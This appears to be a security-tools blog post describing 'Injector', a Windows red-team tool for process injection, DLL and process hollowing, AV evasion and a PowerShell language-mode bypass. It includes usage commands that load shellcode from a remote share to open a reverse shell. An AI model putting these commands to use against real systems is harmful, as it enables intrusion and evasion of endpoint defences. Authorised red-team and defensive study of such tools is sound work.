Injector : Complete Arsenal Of Memory Injection And Other Techniques For Red-Teaming In Windows

Injector is a Complete Arsenal of Memory injection and other techniques for red-teaming in Windows.

What Does Injector Do?

  • Process injection support for shellcode located at remote server as well as local storage. Just specify the shellcode file and it will do the rest. It will by default inject into notepad.exe and if not found, it will create a notepad process and inject into it for persistence.
  • Reflective DLL Injection for DLL injection. It downloads the DLL and injects into remote process.
  • Process hollowing via svchosts.exe
  • With -bypass flag it tends to use more advanced un-documented API for process injeciton and the routine itself gets changes.
  • Now even supports encrypted shellcode i.e AES encrypted and Xor encryted shellcode are now supported. To encrypt the shellcode use Helper.exe in order to maintain consistency.
  • Supports CLM bypass for powershell. Just drop it to a whitelisted folder where you can execute C# binary, for instance at C:\Windows\Tasks
  • Now comes with support for DLL Hollowing. DLL hollowing is implemented via the dll_hollow.dll! So in case you end up using this mode, make sure the dll and the exe are in same place.

C:\Users\admin>Injector.exe
Help Options for Xenon:
-m Mode of operation
-m 1 Specifies the mode as Process injection
-m 2 Specifies the mode as Reflective DLL Injection
-m 3 Specifies the mode as Process Hollowing
-m 4 No injection! Give me my damn shell
-m 5 Powershell session via CLM bypass
-m 6 DLL hollowing
-TempFile File location that your current user can read
-shellcode Use shellcode
-dll Use dll
-decrypt-xor Specify Xor decryption for shellcode
-pass Specifty the password for Xor decryption
-decrypt-aes Specify aes decryption for shellcode
-pass Specifty the password for aes decryption
-location Specify the location i.e either server or local
-bypass Uses enhance attempts to bypass AV

To generate encrypted shellcode, use Helper.exe on kali along with proper switch.

Example of usage

Injector.exe -m=1 -shellcode -encrypt-aes -pass=password -location=”\192.x.x.x\share\shellcode.txt” -bypass

This is will decrypt your shellcode and give you reverse shell. Presence of bypass flag instructs injector to use some other ways to get reverse shell i.e using some undocumented Win API.

In case you dont wanna use encrypted shellcode, you can also run it simply like below

Injector.exe -m=1 -shellcode -location=”\192.x.x.x\share\shellcode.txt”

Just change the -m=1 to 2,3,4,6 to run other modes.

Injector.exe -m=5 -TempFile=C:\Users\user\sample.txt

This will give you a session where you can execute IEX cradle and get a proper reverse shell hence bypassing CLM.

R K

Recent Posts

Pystinger : Bypass Firewall For Traffic Forwarding Using Webshell

Pystinger is a Python-based tool that enables SOCKS4 proxying and port mapping through webshells. It…

8 hours ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

9 hours ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

1 day ago

How to Bash Append to File: A Simple Guide for Beginners

If you are working with Linux or writing bash scripts, one of the most common…

1 day ago

Mastering the Bash Case Statement with Simple Examples

What is a bash case statement? A bash case statement is a way to control…

1 day ago

How to Check if a File Exists in Bash – Simply Explained

Why Do We Check Files in Bash? When writing a Bash script, you often work…

3 days ago